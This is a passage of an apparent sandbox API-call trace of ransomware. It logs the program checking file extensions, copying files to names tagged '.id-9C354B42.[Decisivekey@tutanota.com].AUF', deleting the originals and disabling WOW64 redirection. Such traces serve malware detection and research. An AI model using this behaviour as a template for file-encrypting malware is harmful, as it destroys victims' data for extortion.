(lpString=".rar") returned 4 [0225.160] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.160] lstrlenW (lpString=".bz2") returned 4 [0225.160] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.160] lstrlenW (lpString=".7z") returned 3 [0225.160] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0225.160] lstrlenW (lpString=".dbf") returned 4 [0225.160] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0225.160] lstrlenW (lpString=".1cd") returned 4 [0225.160] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0225.160] lstrlenW (lpString=".jpg") returned 4 [0225.160] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.161] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=8076) returned 1 [0225.161] CloseHandle (hObject=0x180) returned 1 [0225.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0225.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0225.161] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.161] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0225.161] GetLastError () returned 0x0 [0225.161] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1f8c, lpOverlapped=0x0) returned 1 [0225.170] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0225.170] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.170] WriteFile (in: hFile=0x194, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.171] SetEndOfFile (hFile=0x194) returned 1 [0225.335] CloseHandle (hObject=0x194) returned 1 [0225.335] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.335] SetEndOfFile (hFile=0x180) returned 1 [0225.335] CloseHandle (hObject=0x180) returned 1 [0225.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0225.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0225.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0225.503] lstrlenW (lpString=".doc") returned 4 [0225.503] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.503] lstrlenW (lpString=".docx") returned 5 [0225.503] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0225.503] lstrlenW (lpString=".pdf") returned 4 [0225.503] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.503] lstrlenW (lpString=".xls") returned 4 [0225.503] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.503] lstrlenW (lpString=".xlsx") returned 5 [0225.503] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0225.503] lstrlenW (lpString=".ppt") returned 4 [0225.503] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0225.503] lstrlenW (lpString=".zip") returned 4 [0225.503] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.503] lstrlenW (lpString=".rar") returned 4 [0225.503] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.503] lstrlenW (lpString=".bz2") returned 4 [0225.503] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.503] lstrlenW (lpString=".7z") returned 3 [0225.503] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0225.503] lstrlenW (lpString=".dbf") returned 4 [0225.503] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0225.503] lstrlenW (lpString=".1cd") returned 4 [0225.503] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0225.503] lstrlenW (lpString=".jpg") returned 4 [0225.503] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 Thread: id = 16 os_tid = 0x858 [0203.832] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.832] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.832] Wow64DisableWow64FsRedirection (in: OldValue=0x30dff58 | out: OldValue=0x30dff58*=0x0) returned 1 [0203.832] lstrlenW (lpString="kernel32.dll") returned 12 [0203.832] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.832] Sleep (dwMilliseconds=0x64) [0204.118] lstrcmpiW (lpString1=".ttf", lpString2=".AUF") returned 1 [0204.118] lstrlenW (lpString="kor_boot.ttf") returned 12 [0204.118] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.181] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=2371360) returned 1 [0204.181] CloseHandle (hObject=0x184) returned 1 [0204.181] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0204.181] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.181] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0 [0204.181] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.181] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.181] lstrlenW (lpString=".doc") returned 4 [0204.181] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0204.181] lstrlenW (lpString=".docx") returned 5 [0204.181] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0204.181] lstrlenW (lpString=".pdf") returned 4 [0204.181] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0204.181] lstrlenW (lpString=".xls") returned 4 [0204.181] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0204.181] lstrlenW (lpString=".xlsx") returned 5 [0204.181] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0204.181] lstrlenW (lpString=".ppt") returned 4 [0204.181] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0204.181] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.181] lstrlenW (lpString=".zip") returned 4 [0204.181] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0204.181] lstrlenW (lpString=".rar") returned 4 [0204.181] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0204.181] lstrlenW (lpString=".bz2") returned 4 [0204.181] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0204.181] lstrlenW (lpString=".7z") returned 3 [0204.181] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".dbf") returned 4 [0204.182] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".1cd") returned 4 [0204.182] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".jpg") returned 4 [0204.182] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".doc") returned 4 [0204.182] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString=".docx") returned 5 [0204.182] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0204.182] lstrlenW (lpString=".pdf") returned 4 [0204.182] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString=".xls") returned 4 [0204.182] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0204.182] lstrlenW (lpString=".xlsx") returned 5 [0204.182] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0204.182] lstrlenW (lpString=".ppt") returned 4 [0204.182] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".zip") returned 4 [0204.182] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0204.182] lstrlenW (lpString=".rar") returned 4 [0204.182] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString=".bz2") returned 4 [0204.182] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString=".7z") returned 3 [0204.182] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".dbf") returned 4 [0204.182] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".1cd") returned 4 [0204.182] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0204.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0204.182] lstrlenW (lpString=".jpg") returned 4 [0204.182] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0204.182] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.182] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.183] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.183] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=93248) returned 1 [0204.183] CloseHandle (hObject=0x184) returned 1 [0204.183] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0204.183] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.183] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.183] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.183] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.183] lstrlenW (lpString=".doc") returned 4 [0204.183] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.183] lstrlenW (lpString=".docx") returned 5 [0204.183] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.183] lstrlenW (lpString=".pdf") returned 4 [0204.183] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.183] lstrlenW (lpString=".xls") returned 4 [0204.183] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.183] lstrlenW (lpString=".xlsx") returned 5 [0204.183] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.183] lstrlenW (lpString=".ppt") returned 4 [0204.183] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.183] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.183] lstrlenW (lpString=".zip") returned 4 [0204.183] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.183] lstrlenW (lpString=".rar") returned 4 [0204.183] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.183] lstrlenW (lpString=".bz2") returned 4 [0204.183] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.183] lstrlenW (lpString=".7z") returned 3 [0204.183] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".dbf") returned 4 [0204.184] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".1cd") returned 4 [0204.184] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".jpg") returned 4 [0204.184] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".doc") returned 4 [0204.184] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.184] lstrlenW (lpString=".docx") returned 5 [0204.184] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.184] lstrlenW (lpString=".pdf") returned 4 [0204.184] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.184] lstrlenW (lpString=".xls") returned 4 [0204.184] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.184] lstrlenW (lpString=".xlsx") returned 5 [0204.184] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.184] lstrlenW (lpString=".ppt") returned 4 [0204.184] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".zip") returned 4 [0204.184] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.184] lstrlenW (lpString=".rar") returned 4 [0204.184] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.184] lstrlenW (lpString=".bz2") returned 4 [0204.184] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.184] lstrlenW (lpString=".7z") returned 3 [0204.184] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".dbf") returned 4 [0204.184] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".1cd") returned 4 [0204.184] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.184] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0204.184] lstrlenW (lpString=".jpg") returned 4 [0204.184] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.185] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.185] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.185] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.185] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=90688) returned 1 [0204.185] CloseHandle (hObject=0x184) returned 1 [0204.185] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0204.185] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.185] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.185] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.185] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.185] lstrlenW (lpString=".doc") returned 4 [0204.185] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.185] lstrlenW (lpString=".docx") returned 5 [0204.185] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.185] lstrlenW (lpString=".pdf") returned 4 [0204.185] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.185] lstrlenW (lpString=".xls") returned 4 [0204.185] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.185] lstrlenW (lpString=".xlsx") returned 5 [0204.185] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.186] lstrlenW (lpString=".ppt") returned 4 [0204.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".zip") returned 4 [0204.186] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString=".rar") returned 4 [0204.186] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString=".bz2") returned 4 [0204.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.186] lstrlenW (lpString=".7z") returned 3 [0204.186] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".dbf") returned 4 [0204.186] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".1cd") returned 4 [0204.186] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".jpg") returned 4 [0204.186] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".doc") returned 4 [0204.186] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.186] lstrlenW (lpString=".docx") returned 5 [0204.186] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.186] lstrlenW (lpString=".pdf") returned 4 [0204.186] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString=".xls") returned 4 [0204.186] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString=".xlsx") returned 5 [0204.186] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.186] lstrlenW (lpString=".ppt") returned 4 [0204.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".zip") returned 4 [0204.186] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString=".rar") returned 4 [0204.186] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.186] lstrlenW (lpString=".bz2") returned 4 [0204.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.186] lstrlenW (lpString=".7z") returned 3 [0204.186] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".dbf") returned 4 [0204.186] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.186] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.186] lstrlenW (lpString=".1cd") returned 4 [0204.187] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0204.187] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0204.187] lstrlenW (lpString=".jpg") returned 4 [0204.187] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0204.187] lstrcmpiW (lpString1=".mui", lpString2=".AUF") returned 1 [0204.187] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0204.187] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.187] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=90704) returned 1 [0204.187] CloseHandle (hObject=0x184) returned 1 [0204.187] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0204.187] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.187] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.187] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.187] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.187] lstrlenW (lpString=".doc") returned 4 [0204.187] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0204.187] lstrlenW (lpString=".docx") returned 5 [0204.187] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0204.187] lstrlenW (lpString=".pdf") returned 4 [0204.187] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0204.187] lstrlenW (lpString=".xls") returned 4 [0204.187] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0204.187] lstrlenW (lpString=".xlsx") returned 5 [0204.187] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0204.187] lstrlenW (lpString=".ppt") returned 4 [0204.187] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0204.187] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.187] lstrlenW (lpString=".zip") returned 4 [0204.187] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0204.187] lstrlenW (lpString=".rar") returned 4 [0204.187] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0204.188] lstrlenW (lpString=".bz2") returned 4 [0204.188] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0204.188] lstrlenW (lpString=".7z") returned 3 [0204.188] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0204.188] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0204.188] lstrlenW (lpString=".dbf") returned 4 [0204.188] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0204.188] lstrlenW 